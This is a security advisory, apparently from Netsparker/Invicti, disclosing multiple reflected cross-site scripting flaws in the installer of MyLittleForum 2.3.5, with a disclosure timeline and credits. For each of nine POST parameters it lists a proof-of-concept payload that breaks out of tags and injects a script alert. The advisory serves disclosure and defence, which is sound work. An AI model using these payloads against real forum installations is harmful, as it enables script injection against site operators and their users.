Multiple Reflected XSS Vulnerabilities in MyLittleForum 2.3.5

Information

Advisory by Netsparker (now Invicti)
Name: Multiple Reflected XSS Vulnerabilities in MyLittleForum
Affected Software: MyLittleForum
Affected Versions: 2.3.5
Vendor Homepage: https://github.com/ilosuna/mylittleforum/ 
Vulnerability Type: Cross-site Scripting
Severity: Important
Status: Not Fixed
Invicti Advisory Reference: NS-17-002

Technical Details

Proof of Concept URL for Cross-site Scripting vulnerabilities in MyLittleForum;

URL: /mylittleforum/install/index.php
Parameter Name: admin_email
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x003F12)</scRipt>

URL: /mylittleforum/install/index.php
Parameter Name: admin_name
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x003F10)</scRipt>

URL: /mylittleforum/install/index.php
Parameter Name: forum_name
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x003F02)</scRipt>

URL: /mylittleforum/install/index.php
Parameter Name: table_prefix
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x003FA4)</scRipt>

URL: /mylittleforum/install/index.php
Parameter Name: forum_email
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x003F0E)</scRipt>

URL: /mylittleforum/install/index.php
Parameter Name: database
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x003F72)</scRipt>

URL: /mylittleforum/install/index.php
Parameter Name: user
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x003F74)</scRipt>

URL: /mylittleforum/install/index.php
Parameter Name: host
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x003F70)</scRipt>

URL: /mylittleforum/install/index.php
Parameter Name: forum_address
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x003F0C)</scRipt>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline

29th July 2016 – Issue reported
July 2016 – January 2017 – Several attempts to get in touch
24th January 2017 – Advisory released

Credits & Authors

This issue has been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.

About Invicti

Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.